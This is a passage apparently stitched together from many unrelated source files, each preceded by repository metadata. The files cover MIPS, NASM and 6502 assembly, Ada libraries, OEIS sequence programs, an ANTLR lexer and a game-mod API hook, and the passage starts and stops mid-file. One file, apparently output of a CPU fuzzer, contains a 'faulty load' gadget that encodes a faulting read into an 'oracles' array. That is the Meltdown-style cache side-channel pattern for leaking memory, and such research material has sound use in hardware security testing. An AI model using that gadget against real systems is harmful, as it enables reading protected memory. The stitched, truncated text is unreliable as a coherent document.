$ra # Draws the background for display. Currently only does one color. # Parameters: 24-bit color for background, store in $a0 # Affects registers $t0, $t1, DrawBackground: move $t0, $a0 # Background color addi $t1, $0, 0 # offset of display. DrawBGLoop: sw $t0, frameBuffer($t1) # Put color into background addi $t1, $t1, 4 bne $t1, 0x2000, DrawBGLoop jr $ra ##### EXIT ##### Exit: li $v0, 10 syscall # return 0;
test-fasm/hello-nasm.asm
AverageAssemblyProgrammer/Hustle
1
17225
BITS 64 %define SYS_exit 60 %define SYS_write 1 %define STDOUT 1 global _start section .text _start: mov rax, SYS_write mov rdi, STDOUT mov rsi, hello mov rdx, 13 syscall mov rax, SYS_write mov rdi, STDOUT mov rsi, hello2 mov rdx, 17 syscall section .data hello: db "Hello, World", 10 hello2: db "Hello, New, World", 10 section .text mov rax, SYS_exit mov rdi, 0 syscall
hooks/setendoffilehook.asm
kun1z/ksmod
1
240822
; Copyright © 2005 - 2021 by <NAME>. All rights reserved. SetEndOfFileHook proto :dword .data? SetEndOfFileOrig dd ? .code ; ########################################################################## SetEndOfFileHook proc hFile:dword .if hFile != 0 .if DidWeCreateTheDAT == FALSE .if IsDATLocked == TRUE invoke CheckAndUnlockTheDAT, hFile .endif invoke CheckForSwap, addr hFile .endif invoke IsHandleTheDAT, hFile .if eax != 0 ret .endif .endif push hFile push offset SetEndOfFileRet SetEndOfFileStub STUB jmp SetEndOfFileOrig SetEndOfFileRet: ret SetEndOfFileHook endp ; ##########################################################################
parser/src/main/antlr4/smef/parser/SmefLexer.g4
aricov/smef
2
2614
lexer grammar SmefLexer; MessageName: [A-Z] NAME_INSIDE; SNAME: [a-z] NAME_INSIDE; QNAME: SNAME DOT MessageName; fragment NAME_INSIDE: [a-zA-Z0-9_$]*; DOMAIN: '#domain'; INCLUDE: '#include'; MESSAGE: '#message'; TRAIT: '#trait'; UNION_BEGIN: '#union'; UNION_END: '/union'; COMMENT_START: '##' -> pushMode(COMMENT_LINE); DOT: '.'; QUANTIFIER: [*?]; WS: [ \t\r\n] -> skip; mode COMMENT_LINE; COMMENT_END: CR?LF -> popMode; fragment CR: '\r'; fragment LF: '\n'; COMMENT_TEXT: ~[\r\n]+;
changeWallpaper.applescript
kimonoki/tools
0
1604
<filename>changeWallpaper.applescript tell application "System Events" tell current desktop set picture to "PathToWallpaper" end tell end tell
oeis/157/A157820.asm
neoneye/loda-programs
11
241582
<gh_stars>10-100 ; A157820: 27225n^2 + 2n. ; 27227,108904,245031,435608,680635,980112,1334039,1742416,2205243,2722520,3294247,3920424,4601051,5336128,6125655,6969632,7868059,8820936,9828263,10890040,12006267,13176944,14402071,15681648,17015675,18404152,19847079,21344456,22896283,24502560,26163287,27878464,29648091,31472168,33350695,35283672,37271099,39312976,41409303,43560080,45765307,48024984,50339111,52707688,55130715,57608192,60140119,62726496,65367323,68062600,70812327,73616504,76475131,79388208,82355735,85377712,88454139,91585016 seq $0,157821 ; 8984250n + 330. pow $0,2 mul $0,2 sub $0,161445355552800 div $0,5929605000 add $0,27227
strings_edit-text_edit.adb
jrcarter/Ada_GUI
19
19792
<reponame>jrcarter/Ada_GUI -- -- -- package Strings_Edit Copyright (c) <NAME> -- -- Implementation Luebeck -- -- Strings_Edit.Text_Edit Spring, 2000 -- -- -- -- Last revision : 18:40 01 Aug 2019 -- -- -- -- This library is free software; you can redistribute it and/or -- -- modify it under the terms of the GNU General Public License as -- -- published by the Free Software Foundation; either version 2 of -- -- the License, or (at your option) any later version. This library -- -- is distributed in the hope that it will be useful, but WITHOUT -- -- ANY WARRANTY; without even the implied warranty of -- -- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -- -- General Public License for more details. You should have -- -- received a copy of the GNU General Public License along with -- -- this library; if not, write to the Free Software Foundation, -- -- Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. -- -- -- -- As a special exception, if other files instantiate generics from -- -- this unit, or you link this unit with other files to produce an -- -- executable, this unit does not by itself cause the resulting -- -- executable to be covered by the GNU General Public License. This -- -- exception does not however invalidate any other reasons why the -- -- executable file might be covered by the GNU Public License. -- --____________________________________________________________________-- separate (Strings_Edit) package body Text_Edit is function TrimCharacter ( Source : in String; Blank : in Character := ' ' ) return String is First : Integer := Source'First; Last : Integer := Source'Last; begin while First <= Last and then Source (First) = Blank loop First := First + 1; end loop; while First <= Last and then Source (Last) = Blank loop Last := Last - 1; end loop; return Source (First..Last); end TrimCharacter; function TrimSet ( Source : in String; Blanks : in Ada.Strings.Maps.Character_Set ) return String is First : Integer := Source'First; Last : Integer := Source'Last; begin while ( First <= Last and then Ada.Strings.Maps.Is_In (Source (First), Blanks) ) loop First := First + 1; end loop; while ( First <= Last and then Ada.Strings.Maps.Is_In (Source (Last), Blanks) ) loop Last := Last - 1; end loop; return Source (First..Last); end TrimSet; procedure GetCharacter ( Source : in String; Pointer : in out Integer; Blank : in Character := ' ' ) is begin if ( Pointer < Source'First or else ( Pointer > Source'Last and then Pointer - 1 > Source'Last ) ) then raise Layout_Error; end if; for Index in Pointer..Source'Last loop exit when Source (Index) /= Blank; Pointer := Pointer + 1; end loop; end GetCharacter; procedure GetSet ( Source : in String; Pointer : in out Integer; Blanks : in Ada.Strings.Maps.Character_Set ) is begin if ( Pointer < Source'First or else ( Pointer > Source'Last and then Pointer - 1 > Source'Last ) ) then raise Layout_Error; end if; for Index in Pointer..Source'Last loop exit when not Ada.Strings.Maps.Is_In (Source (Index), Blanks); Pointer := Pointer + 1; end loop; end GetSet; procedure PutString ( Destination : in out String; Pointer : in out Integer; Value : in String; Field : in Natural := 0; Justify : in Alignment := Left; Fill : in Character := ' ' ) is OutField : Natural := Field; begin if OutField = 0 then OutField := Value'Length; end if; if ( Pointer < Destination'First or else Pointer + OutField - 1 > Destination'Last or else OutField < Value'Length ) then raise Layout_Error; end if; if OutField /= 0 then if OutField = Value'Length then Destination (Pointer..Pointer + OutField - 1) := Value; else declare First : Integer; Next : Integer; begin case Justify is when Left => First := Pointer; Next := First + Value'Length; for Position in Next..Pointer + OutField - 1 loop Destination (Position) := Fill; end loop; when Center => First := Pointer + (OutField - Value'Length) / 2; Next := First + Value'Length; for Position in Pointer..First - 1 loop Destination (Position) := Fill; end loop; for Position in Next..Pointer + OutField - 1 loop Destination (Position) := Fill; end loop; when Right => Next := Pointer + OutField; First := Next - Value'Length; for Position in Pointer..First - 1 loop Destination (Position) := Fill; end loop; end case; Destination (First..Next - 1) := Value; end; end if; Pointer := Pointer + OutField; end if; end PutString; procedure PutCharacter ( Destination : in out String; Pointer : in out Integer; Value : in Character; Field : in Natural := 0; Justify : in Alignment := Left; Fill : in Character := ' ' ) is Text : constant String (1..1) := (1 => Value); begin Put (Destination, Pointer, Text, Field, Justify, Fill); end PutCharacter; end Text_Edit;
original/28 - Tutorial Twenty Eight - Paranoid.asm
rodoherty1/6502-Examples
0
101857
<filename>original/28 - Tutorial Twenty Eight - Paranoid.asm ;******************************************************************************* ;* Tutorial Twenty-Eight Paranoid Coversion * ;* * ;* Written By <NAME> * ;* Tutorial #28 * ;* Date : 5th Jan, 2018 * ;* * ;******************************************************************************* ;* Change History : * ;* 20th May 2018 : Fixed the AddTwosCompliment Routine * ;* : Fixed the Random Generator as pointed out by EgonOlsen71 * ;* : Modified Code to EOR Pixel and not ORA to see effect * ;******************************************************************************* ; 10 SYS (2064) ;******************************************************************************* ;* * ;* Debug Watch Variables * ;* * ;******************************************************************************* WATCH Prog_X WATCH Prog_Y WATCH Prog_DX WATCH Prog_DY WATCH Prog_Y1 WATCH Prog_X1 WATCH Prog_Pos WATCH Prog_YA WATCH Prog_YB WATCH Prog_XA WATCH Prog_XB WATCH Prog_XC ;******************************************************************************* ;* * ;* BASIC Auto Run Loader * ;* * ;******************************************************************************* *=$0801 BYTE $0E, $08, $0A, $00, $9E, $20, $28, $32, $30, $36, $34, $29, $00, $00, $00 *=$0810 ;******************************************************************************* ;* * ;* Assembley Reference Variables * ;* * ;******************************************************************************* VIC = $D000 ; 53248 SCRNSTART = $0400 ; 1024 GRAPHICSSRT = $2000 ; 8192 X_START = 79 Y_START = 49 POINTADDRESS= $14 ;******************************************************************************* ;* * ;* Program Start * ;* * ;******************************************************************************* jmp START ;******************************************************************************* ;* * ;* Code Variables * ;* * ;******************************************************************************* Prog_BA BYTE 00 Prog_PArray BYTE %10000000,%01000000,%00100000,%00010000,%00001000 BYTE %00000100,%00000010,%00000001 Prog_X WORD 00 Prog_Y WORD 00 Prog_DX BYTE 00 Prog_DY BYTE 00 Prog_Y1 WORD 00 Prog_X1 WORD 00 Prog_Pos WORD 00 Prog_YA BYTE 00 Prog_YB BYTE 00 Prog_XA BYTE 00 Prog_XB BYTE 00 Prog_XC BYTE 00 ;******************************************************************************* ;* * ;* G^Ray Defender - Randomiser Code from G-Pac Clone Game * ;* * ;******************************************************************************* ;============================================================ Init_Random lda #$FF ; maximum frequency value sta $D40E ; voice 3 frequency low byte sta $D40F ; voice 3 frequency high byte lda #$80 ; noise SIRENform, gate bit off sta $D412 ; voice 3 control register rts Rand lda $D41B ; get random value from 0-255 rts ;============================================================ ;******************************************************************************* ;* * ;* Defined Macros * ;* * ;******************************************************************************* ;******************************************************************************* ;* * ;* Fill Video Memory Bank With A Value * ;* * ;******************************************************************************* defm FillVideoMemoryBank ; StartAddress ; Start Address of Bank ldx #0 @Looper sta /1,x sta /1 + $0100,x sta /1 + $0200,x sta /1 + $0300,x inx bne @Looper endm ;******************************************************************************* ;* * ;* Evaluate a Delta Code from a Random Number * ;* * ;******************************************************************************* defm EvaluateNextDeltaNumber ; Delta Variable ;DX=INT(RND(1)*3-1) Results in a number of either -1, 0, +1 @TryAgain jsr Rand and #%00000011 ; just give me the 2 least significant bits cmp #3 ; is the end result 3? beq @TryAgain ; Yes, then try again sec sbc #1 sta /1 endm ;******************************************************************************* ;* * ;* Copy a Word from One Address to Another Address * ;* * ;******************************************************************************* defm CopyWord ; WordSource, WordTarget lda /1 sta /2 lda /1 + 1 sta /2 + 1 endm ;******************************************************************************* ;* * ;* Subtract a Number from a Memory Location and Store result in another location ;* * ;******************************************************************************* defm SubtractNumberWord ; wrdSourceNumber, wrdSubtract, wrdTarget lda #</1 sec sbc /2 sta /3 lda #>/1 sbc /2 + 1 sta /3 + 1 endm ;******************************************************************************* ;* * ;* Add a twos compliment Byte to an Existing Twos Compliment Word * ;* * ;******************************************************************************* defm AddTwosComplimentNumbers ; wrdSource, bytAddition, wrdTarget clc lda /2 adc /1 sta /3 lda /2 bpl @JumpCLC clc @JumpCLC lda #0 ; adc /1 + 1 adc #0 ; We dont have a hi Byte for a BYTE Parameter, so this is to sta /3 + 1 ; Add the carry over to the HiByte of the wrdTarget endm ;******************************************************************************* ;* * ;* Multiply a word source by 2 * ;* * ;******************************************************************************* defm MultiplyWordByTwo ; wrdSource, wrdTarget lda /1 asl sta /2 lda /1 + 1 rol sta /2 + 1 endm ;******************************************************************************* ;* * ;* Divide the Source Word by eight, and store the result and the remainder * ;* * ;******************************************************************************* defm DivideSourceWordByEight ; wrdSource, bytResult, bytRemainder lda /1 sta /2 lda /1 + 1 lsr ; Divide by 2 ror /2 lsr ; Divide By 4 ror /2 lsr ; Divide By 8 ror /2 lda /1 and #%00000111 sta /3 endm ;******************************************************************************* ;* * ;* Main Routine * ;* * ;******************************************************************************* START jsr Init_Random Line0 ;BACKGROUND=1 lda #1 sta Prog_BA Line5 ;POKE55,255:POKE56,31 ; Dont need to convert line 5, as this is related to protecting basic Line6 ;DIMP(7):FORI=0TO7:P(I)=2^(7-I):NEXT ;ldx #0 ;lda #$80 @Line6Loop ;sta p,x ;lsr ;inx ;cpx#8 ;bne @Line6Loop Line10 ;V=53248:POKEV+32,0:POKEV+33,0 lda #0 sta VIC + 32 sta VIC + 33 Line30 ;POKEV+24,PEEK(V+24)OR8 lda VIC + 24 ora #8 sta VIC + 24 Line40 ;POKEV+17,PEEK(V+17)OR32 lda VIC + 17 ora #32 sta VIC + 17 Line50 ;FORI=1024TO2024:POKEI,BA:NEXT lda Prog_BA FillVideoMemoryBank SCRNSTART Line60 ;FORI=8192TO8192+8*1024:POKEI,0:NEXT lda #0 FillVideoMemoryBank GRAPHICSSRT FillVideoMemoryBank $2400 FillVideoMemoryBank $2800 FillVideoMemoryBank $2C00 FillVideoMemoryBank $3000 FillVideoMemoryBank $3400 FillVideoMemoryBank $3800 FillVideoMemoryBank $3C00 Line100 ;X=79:Y=49:DX=INT(RND(1)*3-1):DY=INT(RND(1)*3-1):IFDX=0ANDDY=0THEN100 ldx #X_START stx Prog_X ldy #Y_START sty Prog_Y lda #0 sta Prog_X + 1 sta Prog_Y + 1 EvaluateNextDeltaNumber Prog_DX EvaluateNextDeltaNumber Prog_DY lda Prog_DX bne Line105 lda Prog_DY bne Line105 jmp Line100 Line105 ;Y1=Y:X1=X:GOSUB1000:X1=319-X:GOSUB1000:Y1=199-Y:GOSUB1000:X1=X:GOSUB1000 CopyWord Prog_Y, Prog_Y1 CopyWord Prog_X, Prog_X1 jsr Line1000 SubtractNumberWord $013F, Prog_X, Prog_X1 jsr Line1000 SubtractNumberWord $00C7, Prog_Y, Prog_Y1 jsr Line1000 CopyWord Prog_X, Prog_X1 jsr Line1000 Line107 ;Y1=Y*2:X1=X*2:GOSUB1000:Y1=199-Y1:X1=319-X1:GOSUB1000 MultiplyWordByTwo Prog_Y, Prog_Y1 MultiplyWordByTwo Prog_X, Prog_X1 jsr Line1000 SubtractNumberWord $00C7, Prog_Y1, Prog_Y1 SubtractNumberWord $013F, Prog_X1, Prog_X1 jsr Line1000 Line110 ;X=X+DX:Y=Y+DY:IFX<0ORX>159THENDX=-DX:GOTO110 AddTwosComplimentNumbers Prog_X, Prog_DX, Prog_X AddTwosComplimentNumbers Prog_Y, Prog_DY, Prog_Y lda Prog_X + 1 bmi @Line110Error lda Prog_X cmp #159 bcs @Line110Error jmp Line115 @Line110Error lda Prog_DX eor #$FF clc adc #01 sta Prog_DX jmp Line110 Line115 ;IFY<0ORY>99THENDY=-DY:GOTO110 lda Prog_Y + 1 bmi @Line115Error lda Prog_Y cmp #99 bcs @Line115Error jmp Line120 @Line115Error lda Prog_DY eor #$FF clc adc #1 sta Prog_DY jmp Line110 Line120 ;IFRND(1)>.9THENDX=INT(RND(1)*3-1) jsr Rand cmp #225 ; 90% of 256 bcc Line130 EvaluateNextDeltaNumber Prog_DX Line130 ;IFRND(1)>.9THENDY=INT(RND(1)*3-1) jsr Rand cmp #225 ; 90% of 256 bcc Line135 EvaluateNextDeltaNumber Prog_DY Line135 ;IFDX<>0ORDY<>0THEN105 lda Prog_DX bne @Line135 lda Prog_DY bne @Line135 jmp Line140 @Line135 jmp Line105 Line140 ;DX=INT(RND(1)*3-1):DY=INT(RND(1)*3-1):IFDX=0ANDDY=0THEN140 EvaluateNextDeltaNumber Prog_DX EvaluateNextDeltaNumber Prog_DY lda Prog_DX bne Line150 lda Prog_DY bne Line150 jmp Line140 Line150 ;GOTO105 jmp Line105 Line1000 ;YA=INT(Y1/8):YB=Y1-YA*8:XA=INT(X1/8):XB=X1-XA*8 DivideSourceWordByEight Prog_Y1, Prog_YA, Prog_YB DivideSourceWordByEight Prog_X1, Prog_XA, Prog_XB Line1005 ;P=8*1024+YA*320+XA*8+YB:XC=P(XB) ; 8*1024 lda #0 sta Prog_Pos lda #$20 sta Prog_Pos + 1 ; YA*320 ldy Prog_YA @line1005Loop1 clc lda #$40 adc Prog_Pos sta Prog_Pos lda #1 adc Prog_Pos + 1 sta Prog_Pos + 1 dey bne @Line1005Loop1 ; XA*8 lda Prog_XA asl ; Multiply By 2 asl ; Multiply By 4 asl ; Multiply By 8 pha ; Add Carry to Position Hi Byte lda #0 adc Prog_Pos + 1 sta Prog_Pos + 1 pla clc adc Prog_Pos sta Prog_Pos lda Prog_Pos + 1 adc #0 sta Prog_Pos + 1 ; YB lda Prog_YB clc adc Prog_Pos sta Prog_Pos lda #0 adc Prog_Pos + 1 sta Prog_Pos + 1 ; XC=P(XB) ldy Prog_XB lda Prog_PArray,y sta Prog_XC Line1010 ; POKEP,PEEK(P)ORXC:RETURN lda Prog_Pos sta POINTADDRESS lda Prog_Pos + 1 sta POINTADDRESS + 1 ldy #0 lda (POINTADDRESS),y ora Prog_XC ; eor Prog_XC sta (POINTADDRESS),y rts
Transynther/x86/_processed/NONE/_xt_sm_/i9-9900K_12_0xca_notsx.log_7_856.asm
ljhsiun2/medusa
9
167985
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r13 push %r15 push %rbp push %rcx push %rdi push %rsi lea addresses_A_ht+0x19434, %r15 clflush (%r15) nop nop nop nop nop sub %rsi, %rsi mov $0x6162636465666768, %rbp movq %rbp, %xmm0 movups %xmm0, (%r15) nop nop nop add $4782, %r13 lea addresses_A_ht+0xd634, %r11 nop nop nop nop inc %rbp mov (%r11), %r15 sub %r13, %r13 lea addresses_UC_ht+0x17c34, %rsi lea addresses_UC_ht+0x15734, %rdi nop nop nop nop nop xor $27279, %r15 mov $26, %rcx rep movsl nop nop nop nop dec %rcx lea addresses_A_ht+0x17ef4, %rbp nop nop dec %rcx mov $0x6162636465666768, %r11 movq %r11, %xmm3 vmovups %ymm3, (%rbp) nop nop nop nop xor %r15, %r15 lea addresses_A_ht+0x9cb4, %r15 nop nop nop nop nop sub $53222, %rdi mov $0x6162636465666768, %rcx movq %rcx, %xmm4 movups %xmm4, (%r15) nop nop nop add $27386, %rbp lea addresses_WT_ht+0x53dc, %rsi xor $33021, %rcx mov $0x6162636465666768, %r15 movq %r15, (%rsi) nop nop dec %rdi lea addresses_UC_ht+0xeeb4, %r11 nop nop nop nop nop inc %rbp mov (%r11), %rsi nop cmp %r11, %r11 lea addresses_WT_ht+0x11034, %rdi nop nop nop nop nop add %rsi, %rsi mov (%rdi), %r15w xor %r13, %r13 pop %rsi pop %rdi pop %rcx pop %rbp pop %r15 pop %r13 pop %r11 ret .global s_faulty_load s_faulty_load: push %r15 push %r9 push %rax push %rbp push %rcx push %rdx push %rsi // Store lea addresses_PSE+0x89e8, %rsi nop nop nop nop inc %rcx mov $0x5152535455565758, %rbp movq %rbp, (%rsi) nop nop nop cmp $51663, %r15 // Load lea addresses_normal+0x2784, %r15 nop nop nop nop and $28943, %rsi movups (%r15), %xmm0 vpextrq $0, %xmm0, %rbp nop cmp %rdx, %rdx // Store lea addresses_A+0x151f4, %rax xor %r9, %r9 mov $0x5152535455565758, %rcx movq %rcx, %xmm6 movups %xmm6, (%rax) nop nop add $9155, %rsi // Store lea addresses_D+0x1af34, %rbp nop nop and $59203, %rdx movb $0x51, (%rbp) nop nop nop cmp %rsi, %rsi // Store lea addresses_D+0x194e1, %rsi nop nop nop and $24540, %rcx mov $0x5152535455565758, %r9 movq %r9, %xmm7 vmovups %ymm7, (%rsi) nop nop cmp %rbp, %rbp // Store lea addresses_RW+0x15434, %rcx nop nop nop nop nop and $59524, %rbp mov $0x5152535455565758, %r15 movq %r15, %xmm6 movups %xmm6, (%rcx) nop nop nop nop nop add %rdx, %rdx // Store lea addresses_D+0x1d2f4, %rbp nop nop nop dec %rax movw $0x5152, (%rbp) sub $15739, %rdx // Store lea addresses_normal+0x12834, %rbp add $27406, %r15 movb $0x51, (%rbp) nop xor $38592, %r9 // Store lea addresses_WC+0x13f1a, %rcx xor %rbp, %rbp movl $0x51525354, (%rcx) and %r15, %r15 // Load lea addresses_RW+0x6904, %rax nop nop nop nop add $25442, %rdx mov (%rax), %ecx nop nop nop nop nop xor %rcx, %rcx // Faulty Load lea addresses_RW+0x15434, %rax clflush (%rax) nop nop nop nop xor %rbp, %rbp mov (%rax), %r9 lea oracles, %rdx and $0xff, %r9 shlq $12, %r9 mov (%rdx,%r9,1), %r9 pop %rsi pop %rdx pop %rcx pop %rbp pop %rax pop %r9 pop %r15 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_RW', 'NT': True, 'AVXalign': True, 'size': 16, 'congruent': 0}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_PSE', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 2}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_normal', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 1}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_A', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 2}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_D', 'NT': False, 'AVXalign': True, 'size': 1, 'congruent': 5}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_D', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 0}} {'OP': 'STOR', 'dst': {'same': True, 'type': 'addresses_RW', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 0}} {'OP': 'STOR', 'dst': {'same': True, 'type': 'addresses_D', 'NT': True, 'AVXalign': False, 'size': 2, 'congruent': 5}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_normal', 'NT': True, 'AVXalign': False, 'size': 1, 'congruent': 10}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WC', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 0}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_RW', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 3}} [Faulty Load] {'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_RW', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 0}} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_A_ht', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 11}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_A_ht', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 8}} {'OP': 'REPM', 'src': {'same': True, 'congruent': 11, 'type': 'addresses_UC_ht'}, 'dst': {'same': False, 'congruent': 8, 'type': 'addresses_UC_ht'}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_A_ht', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 3}} {'OP': 'STOR', 'dst': {'same': True, 'type': 'addresses_A_ht', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 6}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WT_ht', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 3}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_UC_ht', 'NT': False, 'AVXalign': True, 'size': 8, 'congruent': 7}} {'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_WT_ht', 'NT': False, 'AVXalign': True, 'size': 2, 'congruent': 10}} {'58': 7} 58 58 58 58 58 58 58 */
bb-runtimes/runtimes/ravenscar-full-stm32g474/gnat/s-forrea.adb
JCGobbi/Nucleo-STM32G474RE
0
15090
<gh_stars>0 ------------------------------------------------------------------------------ -- -- -- GNAT RUN-TIME COMPONENTS -- -- -- -- S Y S T E M . F O R E _ R E A L -- -- -- -- B o d y -- -- -- -- Copyright (C) 1992-2021, Free Software Foundation, Inc. -- -- -- -- GNAT is free software; you can redistribute it and/or modify it under -- -- terms of the GNU General Public License as published by the Free Soft- -- -- ware Foundation; either version 3, or (at your option) any later ver- -- -- sion. GNAT is distributed in the hope that it will be useful, but WITH- -- -- OUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY -- -- or FITNESS FOR A PARTICULAR PURPOSE. -- -- -- -- -- -- -- -- -- -- -- -- You should have received a copy of the GNU General Public License and -- -- a copy of the GCC Runtime Library Exception along with this program; -- -- see the files COPYING3 and COPYING.RUNTIME respectively. If not, see -- -- <http://www.gnu.org/licenses/>. -- -- -- -- GNAT was originally developed by the GNAT team at New York University. -- -- Extensive contributions were provided by Ada Core Technologies Inc. -- -- -- ------------------------------------------------------------------------------ package body System.Fore_Real is ---------------- -- Fore_Fixed -- ---------------- function Fore_Fixed (Lo, Hi : Long_Float) return Natural is T : Long_Float := Long_Float'Max (abs Lo, abs Hi); F : Natural; begin -- Initial value of 2 allows for sign and mandatory single digit F := 2; -- Loop to increase Fore as needed to include full range of values while T >= 10.0 loop T := T / 10.0; F := F + 1; end loop; return F; end Fore_Fixed; end System.Fore_Real;
programs/oeis/074/A074522.asm
neoneye/loda
22
171184
<reponame>neoneye/loda ; A074522: a(n) = 1^n + 6^n + 9^n. ; 3,16,118,946,7858,66826,578098,5062906,44726338,397498186,3547250578,31743856666,284606318818,2554926522346,22955156619058,206361317079226,1855841298759298,16694108359111306,150196195253667538 mov $1,6 pow $1,$0 mov $2,9 pow $2,$0 add $1,$2 mov $0,$1 add $0,1
src/debug.adb
Hamster-Furtif/JeremyPlusPlus
0
6262
with ada.text_io, ada.Float_Text_IO, ada.Integer_Text_IO, utils, ada.Strings.Unbounded, montecarlo, botIO, opstrat, Mastermind; use ada.text_io, ada.Float_Text_IO, ada.Integer_Text_IO, utils, ada.Strings.Unbounded, montecarlo, botIO, opstrat, Mastermind; with read_preflop; use read_preflop; with Ada.Numerics; with Ada.Numerics.Discrete_Random; procedure debug is package Rand_Int is new Ada.Numerics.Discrete_Random(Positive); gen : Rand_Int.Generator; hand, table: T_set; c1: T_card; game: T_set; ch : Float; begin emptySet(game); for i in 1..9 loop loop c1 := randomCard(52); exit when not cardInSet(c1, game); end loop; addToSet(c1, game); end loop; hand := get_card(game,0) + get_card(game,1); table := get_card(game,2)+get_card(game,3); --As,Ac hand Put_Line("----------------------------------------"); Put_Line("CARTES DE JEREMY :"); printCard(get_card(game,0));printCard(get_card(game,1)); Put_Line("----------------------------------------"); Put_Line("CARTES DE LA TABLE :"); printCard(get_card(game,2));printCard(get_card(game,3)); ch := chancesOfWinning(hand,table); Put_Line("CHANCES DE GAGNER :"&ch'Img); end debug;
programs/oeis/092/A092896.asm
karttu/loda
1
28688
<reponame>karttu/loda ; A092896: Related to random walks on the 4-cube. ; 1,1,5,17,65,257,1025,4097,16385,65537,262145,1048577,4194305,16777217,67108865,268435457,1073741825,4294967297,17179869185,68719476737,274877906945,1099511627777,4398046511105,17592186044417,70368744177665,281474976710657,1125899906842625,4503599627370497 mov $1,4 pow $1,$0 div $1,16 mul $1,4 add $1,1
tools-src/gnu/gcc/gcc/ada/sem_case.adb
enfoTek/tomato.linksys.e2000.nvram-mod
80
23783
<filename>tools-src/gnu/gcc/gcc/ada/sem_case.adb ------------------------------------------------------------------------------ -- -- -- GNAT COMPILER COMPONENTS -- -- -- -- S E M _ C A S E -- -- -- -- B o d y -- -- -- -- $Revision$ -- -- -- Copyright (C) 1996-2001 Free Software Foundation, Inc. -- -- -- -- GNAT is free software; you can redistribute it and/or modify it under -- -- terms of the GNU General Public License as published by the Free Soft- -- -- ware Foundation; either version 2, or (at your option) any later ver- -- -- sion. GNAT is distributed in the hope that it will be useful, but WITH- -- -- OUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY -- -- or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License -- -- for more details. You should have received a copy of the GNU General -- -- Public License distributed with GNAT; see file COPYING. If not, write -- -- to the Free Software Foundation, 59 Temple Place - Suite 330, Boston, -- -- MA 02111-1307, USA. -- -- -- -- GNAT was originally developed by the GNAT team at New York University. -- -- Extensive contributions were provided by Ada Core Technologies Inc. -- -- -- ------------------------------------------------------------------------------ with Atree; use Atree; with Einfo; use Einfo; with Errout; use Errout; with Namet; use Namet; with Nlists; use Nlists; with Sem; use Sem; with Sem_Eval; use Sem_Eval; with Sem_Res; use Sem_Res; with Sem_Util; use Sem_Util; with Sem_Type; use Sem_Type; with Snames; use Snames; with Stand; use Stand; with Sinfo; use Sinfo; with Uintp; use Uintp; with GNAT.Heap_Sort_A; use GNAT.Heap_Sort_A; package body Sem_Case is ----------------------- -- Local Subprograms -- ----------------------- type Sort_Choice_Table_Type is array (Nat range <>) of Choice_Bounds; -- This new array type is used as the actual table type for sorting -- discrete choices. The reason for not using Choice_Table_Type, is that -- in Sort_Choice_Table_Type we reserve entry 0 for the sorting algortim -- (this is not absolutely necessary but it makes the code more -- efficient). procedure Check_Choices (Choice_Table : in out Sort_Choice_Table_Type; Bounds_Type : Entity_Id; Others_Present : Boolean; Msg_Sloc : Source_Ptr); -- This is the procedure which verifies that a set of case statement, -- array aggregate or record variant choices has no duplicates, and -- covers the range specified by Bounds_Type. Choice_Table contains the -- discrete choices to check. These must start at position 1. -- Furthermore Choice_Table (0) must exist. This element is used by -- the sorting algorithm as a temporary. Others_Present is a flag -- indicating whether or not an Others choice is present. Finally -- Msg_Sloc gives the source location of the construct containing the -- choices in the Choice_Table. function Choice_Image (Value : Uint; Ctype : Entity_Id) return Name_Id; -- Given a Pos value of enumeration type Ctype, returns the name -- ID of an appropriate string to be used in error message output. ------------------- -- Check_Choices -- ------------------- procedure Check_Choices (Choice_Table : in out Sort_Choice_Table_Type; Bounds_Type : Entity_Id; Others_Present : Boolean; Msg_Sloc : Source_Ptr) is function Lt_Choice (C1, C2 : Natural) return Boolean; -- Comparison routine for comparing Choice_Table entries. -- Use the lower bound of each Choice as the key. procedure Move_Choice (From : Natural; To : Natural); -- Move routine for sorting the Choice_Table. procedure Issue_Msg (Value1 : Node_Id; Value2 : Node_Id); procedure Issue_Msg (Value1 : Node_Id; Value2 : Uint); procedure Issue_Msg (Value1 : Uint; Value2 : Node_Id); procedure Issue_Msg (Value1 : Uint; Value2 : Uint); -- Issue an error message indicating that there are missing choices, -- followed by the image of the missing choices themselves which lie -- between Value1 and Value2 inclusive. --------------- -- Issue_Msg -- --------------- procedure Issue_Msg (Value1 : Node_Id; Value2 : Node_Id) is begin Issue_Msg (Expr_Value (Value1), Expr_Value (Value2)); end Issue_Msg; procedure 